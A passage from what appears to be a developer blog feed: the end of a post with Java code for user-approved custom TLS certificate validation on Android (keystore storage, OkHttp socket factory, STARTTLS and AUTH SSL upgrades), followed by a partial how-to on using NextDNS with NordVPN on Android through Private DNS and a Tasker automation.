<span class="token class-name">File</span> localTrustStoreFile <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token string">"app.keystore"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// get the local keystore if it exists, or initialize an empty one</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>localTrustStoreFile<span class="token punctuation">.</span><span class="token function">exists</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token class-name">InputStream</span> in <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileInputStream</span><span class="token punctuation">(</span>localTrustStoreFile<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">try</span> <span class="token punctuation">{</span>
knownServersStore<span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span>in<span class="token punctuation">,</span> <span class="token string">"somepassword"</span><span class="token punctuation">.</span><span class="token function">toCharArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">finally</span> <span class="token punctuation">{</span>
in<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
knownServersStore<span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token string">"somepassword"</span><span class="token punctuation">.</span><span class="token function">toCharArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// add the certificate</span>
knownServersStore<span class="token punctuation">.</span><span class="token function">setCertificateEntry</span><span class="token punctuation">(</span><span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span>cert<span class="token punctuation">.</span><span class="token function">hashCode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cert<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">FileOutputStream</span> fos <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>
<span class="token keyword">try</span> <span class="token punctuation">{</span>
fos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileOutputStream</span><span class="token punctuation">(</span>localTrustStoreFile<span class="token punctuation">)</span><span class="token punctuation">;</span>
knownServersStore<span class="token punctuation">.</span><span class="token function">store</span><span class="token punctuation">(</span>fos<span class="token punctuation">,</span> <span class="token string">"somepassword"</span><span class="token punctuation">.</span><span class="token function">toCharArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">catch</span><span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token comment">// could not save certificate</span>
<span class="token punctuation">}</span>
<span class="token keyword">finally</span> <span class="token punctuation">{</span>
fos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
</code></pre>
<p>At this point the user has accepted the certificate and it is saved in a keystore. It can now be used as part of HTTP requests</p>
<h3 id="using-the-certificate-from-the-keystore-for-http-requests" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#using-the-certificate-from-the-keystore-for-http-requests">Using the certificate from the keystore for HTTP requests</a></h3>
<p>To use the certificate in an HTTP request, we must create a custom Socket Factory. The OKHttp library in turn will check the keystore when validating the certificate.</p>
<pre class="language-java"><code class="language-java">
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token class-name">KeyStore</span> <span class="token function">getKnownServersStore</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">throws</span> <span class="token class-name">KeyStoreException</span><span class="token punctuation">,</span> <span class="token class-name">IOException</span><span class="token punctuation">,</span> <span class="token class-name">NoSuchAlgorithmException</span><span class="token punctuation">,</span> <span class="token class-name">CertificateException</span> <span class="token punctuation">{</span>
<span class="token class-name">KeyStore</span> knownServersStore <span class="token operator">=</span> <span class="token class-name">KeyStore</span><span class="token punctuation">.</span><span class="token function">getInstance</span><span class="token punctuation">(</span><span class="token class-name">KeyStore</span><span class="token punctuation">.</span><span class="token function">getDefaultType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">File</span> localTrustStoreFile <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token string">"app.keystore"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>localTrustStoreFile<span class="token punctuation">.</span><span class="token function">exists</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token class-name">InputStream</span> in <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileInputStream</span><span class="token punctuation">(</span>localTrustStoreFile<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">try</span> <span class="token punctuation">{</span>
mKnownServersStore<span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span>in<span class="token punctuation">,</span> <span class="token string">"somepassword"</span><span class="token punctuation">.</span><span class="token function">toCharArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">finally</span> <span class="token punctuation">{</span>
in<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
<span class="token comment">// next is necessary to initialize an empty KeyStore instance</span>
mKnownServersStore<span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token string">"somepassword"</span><span class="token punctuation">.</span><span class="token function">toCharArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> mKnownServersStore<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token class-name">SSLSocketFactory</span> <span class="token function">getSocketFactory</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">try</span> <span class="token punctuation">{</span>
<span class="token class-name">SSLContext</span> sslContext <span class="token operator">=</span> <span class="token class-name">SSLContext</span><span class="token punctuation">.</span><span class="token function">getInstance</span><span class="token punctuation">(</span><span class="token string">"TLS"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">LocalX509TrustManager</span> atm <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span>
atm <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">LocalX509TrustManager</span><span class="token punctuation">(</span><span class="token function">getKnownServersStore</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">TrustManager</span><span class="token punctuation">[</span><span class="token punctuation">]</span> tms <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TrustManager</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">{</span> atm <span class="token punctuation">}</span><span class="token punctuation">;</span>
sslContext<span class="token punctuation">.</span><span class="token function">init</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">,</span> tms<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">return</span> sslContext<span class="token punctuation">.</span><span class="token function">getSocketFactory</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">// </span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token class-name">OkHttpClient<span class="token punctuation">.</span>Builder</span> okBuilder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">OkHttpClient<span class="token punctuation">.</span>Builder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
okBuilder<span class="token punctuation">.</span><span class="token function">sslSocketFactory</span><span class="token punctuation">(</span><span class="token function">getSocketFactory</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Request<span class="token punctuation">.</span>Builder</span> requestBuilder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Request<span class="token punctuation">.</span>Builder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token string">"https://example.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<h2 id="handling-other-protocols-and-sockets" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#handling-other-protocols-and-sockets">Handling other protocols and sockets</a></h2>
<p>When connecting over SMTP, a secure handshake requires setting client authentication. This changes the <code>connectToSSLSocket</code> slightly.</p>
<pre class="language-java"><code class="language-java"><span class="token keyword">if</span><span class="token punctuation">(</span>serverType <span class="token operator">==</span> <span class="token class-name">ServerType</span><span class="token punctuation">.</span><span class="token constant">SMTP</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
socket<span class="token punctuation">.</span><span class="token function">setUseClientMode</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
socket<span class="token punctuation">.</span><span class="token function">setNeedClientAuth</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<p>Further, it’s also necessary to perform an <code>EHLO</code> and a <code>STARTTLS</code> to elevate the plain socket to a secure socket.</p>
<p>Similarly, FTP requires an <code>AUTH SSL</code> to be elevated. With these two in mind, the handshake becomes a lengthier.</p>
<pre class="language-java"><code class="language-java">
<span class="token keyword">try</span> <span class="token punctuation">{</span>
<span class="token comment">// Trying handshake first in case the socket is SSL/TLS only</span>
<span class="token function">connectToSSLSocket</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
postValidationHandler<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Runnable</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">// Workflow finished - this is a known certificate. Nothing to do. </span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token keyword">final</span> <span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">extractCertificateValidationException</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">throw</span> e<span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// Direct connection failed or no certificate was presented</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>serverType<span class="token operator">==</span> <span class="token class-name">ServerType</span><span class="token punctuation">.</span><span class="token constant">HTTPS</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
postValidationHandler<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Runnable</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">//Workflow finished - an unknown certificate was found</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">return</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// Nothing yet, so attempt to connect over plain socket first, then elevate.</span>
<span class="token class-name">Socket</span> plainSocket <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Socket</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span> port<span class="token punctuation">)</span><span class="token punctuation">;</span>
plainSocket<span class="token punctuation">.</span><span class="token function">setSoTimeout</span><span class="token punctuation">(</span><span class="token number">30000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">BufferedReader</span> reader <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BufferedReader</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">InputStreamReader</span><span class="token punctuation">(</span>plainSocket<span class="token punctuation">.</span><span class="token function">getInputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">BufferedWriter</span> writer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BufferedWriter</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">OutputStreamWriter</span><span class="token punctuation">(</span>plainSocket<span class="token punctuation">.</span><span class="token function">getOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">String</span> line<span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>serverType <span class="token operator">==</span> <span class="token class-name">ServerType</span><span class="token punctuation">.</span><span class="token constant">SMTP</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
writer<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token string">"EHLO localhost\r\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
writer<span class="token punctuation">.</span><span class="token function">flush</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
line <span class="token operator">=</span> reader<span class="token punctuation">.</span><span class="token function">readLine</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token class-name">String</span> command <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">,</span> regexToMatch <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>serverType <span class="token operator">==</span> <span class="token class-name">ServerType</span><span class="token punctuation">.</span><span class="token constant">FTP</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
command <span class="token operator">=</span> <span class="token string">"AUTH SSL\r\n"</span><span class="token punctuation">;</span>
regexToMatch <span class="token operator">=</span> <span class="token string">"(?:234.*)"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>serverType <span class="token operator">==</span> <span class="token class-name">ServerType</span><span class="token punctuation">.</span><span class="token constant">SMTP</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
command <span class="token operator">=</span> <span class="token string">"STARTTLS\r\n"</span><span class="token punctuation">;</span>
regexToMatch <span class="token operator">=</span> <span class="token string">"(?i:220 .* Ready.*)"</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
writer<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>command<span class="token punctuation">)</span><span class="token punctuation">;</span>
writer<span class="token punctuation">.</span><span class="token function">flush</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>line <span class="token operator">=</span> reader<span class="token punctuation">.</span><span class="token function">readLine</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span>line<span class="token punctuation">.</span><span class="token function">matches</span><span class="token punctuation">(</span>regexToMatch<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">// Elevate socket and attempt handshake.</span>
<span class="token function">connectToSSLSocket</span><span class="token punctuation">(</span>plainSocket<span class="token punctuation">)</span><span class="token punctuation">;</span>
postValidationHandler<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Runnable</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">//Workflow finished - the certificate is known. </span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">return</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token comment">//No certificates found. Giving up.</span>
postValidationHandler<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Runnable</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token comment">//Workflow finished, give up. </span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// Additional catch block required outside to handle the elevated socket handshake, capture certificate and present to the user. </span>
</code></pre>
<h2 id="reference" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/android-custom-certificate-validation/#reference">Reference</a></h2>
<p>The full form of this workflow is <a href="https://github.com/mendhak/gpslogger/blob/master/gpslogger/src/main/java/com/mendhak/gpslogger/common/network/CertificateValidationWorkflow.java">here</a>. The <code>CertificateValidationWorkflow</code> is the starting point for the process, and is invoked from an Activity using</p>
<pre><code>new Thread(new CertificateValidationWorkflow(context, host, port, serverType, postValidationHandler)).start();
</code></pre>
Getting NextDNS and NordVPN to work together on Android2019-12-06T00:00:00Zhttps://code.mendhak.com/nextdns-with-nordvpn/<p><em>Documenting the steps I took to get NextDNS, NordVPN and restricted WiFi networks to work together.</em></p>
<p>I have been experimenting with <a href="https://nextdns.io/">NextDNS</a> recently, a cloud based private DNS with privacy controls. Feature-wise, it’s pretty similar to <a href="https://pi-hole.net/">Pi-hole</a>. The main difference is that the Pi-hole runs at home, while NextDNS is available everywhere. This makes it pretty appealing as it allows me to carry my site blocking configuration everywhere.</p>
<p>It comes with preset lists, blacklists, whitelists, analytics (graphs) and logs. The <a href="https://github.com/nextdns/nextdns">Linux client is open source</a>, and the <a href="https://nextdns.io/privacy">privacy policy</a> looks pretty good. Where it shines is its connectivity options. You can use DNS over TLS, DNS over HTTPS, and regular DNS. They give clear instructions, and there are many options across OSes and browsers.</p>
<p>The sign-up process is fast and you are given a unique configuration ID immediately, and you can start playing with the settings right away.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/002.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/002.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/003.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/003.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/004.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/004.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>NextDNS screens</figcaption></figure>
<div class="notice warning">
The configuration ID is unique to your account, only share it with people you trust. The examples shown on this page are purely for demonstration purposes.
</div>
<h2 id="nordvpn-and-nextdns-together" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#nordvpn-and-nextdns-together">NordVPN and NextDNS together</a></h2>
<p>Although NordVPN comes with its own <a href="https://nordvpn.com/features/cybersec/">CyberSec</a> feature, there is very little in the way of explanation or control regarding how it works. I wanted to make use of NordVPN for the actual traffic, but still use NextDNS to retain control over what’s being blocked and keep an eye on requests being made.</p>
<h2 id="private-dns-in-android-9" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#private-dns-in-android-9">Private DNS in Android 9+</a></h2>
<p>The <a href="https://android-developers.googleblog.com/2018/04/dns-over-tls-support-in-android-p.html">Private DNS</a> feature introduced in Android 9 allows you to set a system wide DNS, not just specific to a WiFi. Android will perform DNS-over-TLS requests against this address, and in most cases this DNS setting is applied whether you’re connected to WiFi, mobile data, or VPN. This is the most convenient way to set yourself up with NextDNS, and should play nicely with NordVPN and other VPNs too.</p>
<p>From the main settings page on your NextDNS configuration, find the DNS-over-TLS address. In your Android settings, search for Private DNS. I found this setting under <code>Settings > Network & Internet > Advanced > Private DNS</code>.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/001_dnstls.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/001_dnstls.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/005.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/005.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>DNS over TLS on Android</figcaption></figure>
<p>For most scenarios and use cases, this works well enough and is a good enough default setting to stick with.</p>
<h3 id="there-s-a-catch-captive-portals-and-corporate-wifi" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#there-s-a-catch-captive-portals-and-corporate-wifi">There’s a catch - captive portals and corporate WiFi</a></h3>
<p>Many workplaces, hotels and airports offer a guest WiFi network to connect personal devices to, and often these come with captive portals. The trouble here is that such ‘corporate’ networks often block most outgoing ports, 853 included, which is what DNS-over-TLS makes use of. When using the Private DNS feature in such a network, Android will mark the corporate WiFi with ‘no internet connection’; your web browsing will fail, and you will be unable to connect to VPN.</p>
<p>✅ Works with WiFi<br />
✅ Works with mobile networks<br />
✅ Works with NordVPN<br />
❌ Doesn’t work with corporate WiFi/captive portals<br />
❌ Not an option on older Android devices</p>
<p>If connecting to a restricted WiFi isn’t necessary for you, this is the best place to stop. You’re in a good position, and you can enjoy both NextDNS and NordVPN.</p>
<p>If however, you <em>do</em> need to work with a restricted WiFi, the NextDNS app can help here.</p>
<h2 id="the-nextdns-app" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#the-nextdns-app">The NextDNS app</a></h2>
<p>The <a href="https://play.google.com/store/apps/details?id=io.nextdns.NextDNS&hl=en_GB">NextDNS app</a> on the Play Store makes DNS requests using DNS-over-HTTPS. The advantage of DNS-over-HTTPS is that the DNS requests themselves are made over the ‘common’ port 443, with TLS certificates encrypting your traffic; to a network this just appears as normal web traffic and is unlikely to be blocked.</p>
<p>Using their app will allow you to use NextDNS while on WiFi or mobile network, but won’t allow you to use an actual VPN - this is because the app itself sets up <a href="https://nextdns.io/faq#apps-vpn">a local device VPN</a> to issue DNS-over-HTTPS requests. The main setting in the app is the configuration ID of your NextDNS settings. You can also get it to send your device model so that you can easily identify it in the logs. Since it’s a local device VPN, the battery consumption is very low.</p>
<p>✅ Works with WiFi<br />
✅ Works on mobile networks<br />
✅ Works with corporate WiFi/captive portals<br />
✅ Works on Android 4+<br />
❌ Cannot use with actual VPNs</p>
<p>If using an actual VPN isn’t necessary for you, this is the best place to stop. It only gets more complicated from here.</p>
<p>If however, you <em>do</em> need an actual VPN as well as DNS, then read on.</p>
<h2 id="nordvpn-s-custom-dns" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#nordvpn-s-custom-dns">NordVPN’s custom DNS</a></h2>
<p>Now we’re in complicated land. The NordVPN app allows setting an IP address for a DNS server that it will use when making requests. Get this from the settings screen on NextDNS, and add it to the NordVPN setting, <code>Custom DNS</code>. Since you’re connecting to a restricted WiFi, be sure to also select <code>Use TCP</code> - this makes NordVPN connect over port 443 to its servers.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/001_dns.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/001_dns.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/006.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/006.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<p>Observe that the NextDNS IP address is actually common to many of its users. NextDNS needs some way of identifying your requests to that IP, among the thousands of other people using the same IP.</p>
<p>To identify yourself, connect to your VPN, then browse to the <a href="https://my.nextdns.io/">NextDNS configuration page</a> and press the <code>Link IP</code> button. It will then detect the IP you’re connecting from (the NordVPN server) and from then on any requests from your device will make use of your NextDNS configuration.</p>
<p>But pressing the “Link IP” button is not a maintainable solution and is easy to forget. In the screenshot above, NextDNS provides a convenience URL that you can call - it will detect the IP you called from, and set the linked IP address on your behalf. In my example, this is</p>
<blockquote>
<p>You can also programmatically update your linked IP by calling:<br />
<code>https://link-ip.nextdns.io/924d45/0d927fe242bee36c</code></p>
</blockquote>
<p>We need a way of invoking that URL on a regular basis. Specifically, we need a way of invoking that URL whenever we connect to a VPN.</p>
<h3 id="use-tasker-to-update-the-linked-ip-on-nextdns" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#use-tasker-to-update-the-linked-ip-on-nextdns">Use Tasker to update the Linked IP on NextDNS</a></h3>
<p><a href="https://play.google.com/store/apps/details?id=net.dinglisch.android.taskerm&hl=en_GB">Tasker</a> is an automation app for Android which lets you perform actions based on various conditions, events, variables. There is a <a href="https://tasker.joaoapps.com/download.html">7 day trial</a> you can play around with.</p>
<p>My solution is to create a Tasker profile that invokes an HTTP request when connecting to a VPN.</p>
<p>In Tasker, create a new profile, <code>VPN On</code>.<br />
Pick <code>State</code>, and in the dialog, search for <code>VPN Connected</code><br />
Leave the State as is, and press the back arrow ⬅️
When prompted, create a new Task, <code>Update NextDNS Linked IP</code><br />
Press ➕ to add an Action, and search for <code>HTTP Request</code><br />
Paste the URL from the NextDNS setting screen in the URL field</p>
<pre><code>Profile: Vpn On (2)
State: VPN Connected [ Active:Any ]
Enter: Update NextDNS Linked IP (3)
A1: HTTP Request [ Method:GET URL:https://link-ip.nextdns.io/924d45/0d927fe242bee36c Headers: Query Parameters: Body: File To Send: File To Save With Output: Timeout (Seconds):30 Trust Any Certificate:Off ]
</code></pre>
<p>To test this is working, connect to any NordVPN server. Then on your device, browse to your NextDNS configuration at <a href="https://my.nextdns.io/">https://my.nextdns.io</a> - you should see an ‘All Good!’ message at the top, and in the Linked IP section, your IP with a tick next to it.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/009.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/009.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/nextdns-nordvpn/008.png"><img src="https://code.mendhak.com/assets/images/nextdns-nordvpn/008.png" alt="" loading="lazy" data-caption="" style="width: calc(50% - 0.5em);" /></span>
<figcaption>NextDNS confirms</figcaption></figure>
<p>This setup works reliably, but is only applicable to the NordVPN connection. When you disconnect from the VPN, you are no longer using NextDNS, and you’ll need to launch the NextDNS app manually and connect there.</p>
<p>✅ Works with NordVPN<br />
✅ Works with corporate WiFi/captive portals<br />
✅ Use the NextDNS app when not on VPN - covers wifi and mobile networks<br />
❌ Complicated setup</p>
<p>If you can stick to using NordVPN across all your wifi and mobile connections, then this is a good place to stop. It’s going to get <em>even more complicated</em> after this. Just stop, seriously.</p>
<p>If however, you are looking to automate the switch to NextDNS when NordVPN disconnects, then I have a few ideas on how to make this work, though they all have gaps.</p>
<h3 id="launch-nextdns-when-vpn-disconnects" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/nextdns-with-nordvpn/#launch-nextdns-when-vpn-disconnects">Launch NextDNS when VPN disconnects</a></h3>
<p>Tasker profiles have the concept of Exit Tasks; we can get Tasker to launch NextDNS when disconnecting from NordVPN.</p>
<p>In Tasker, long press the right side of the “NextDNS VPN On” profile.
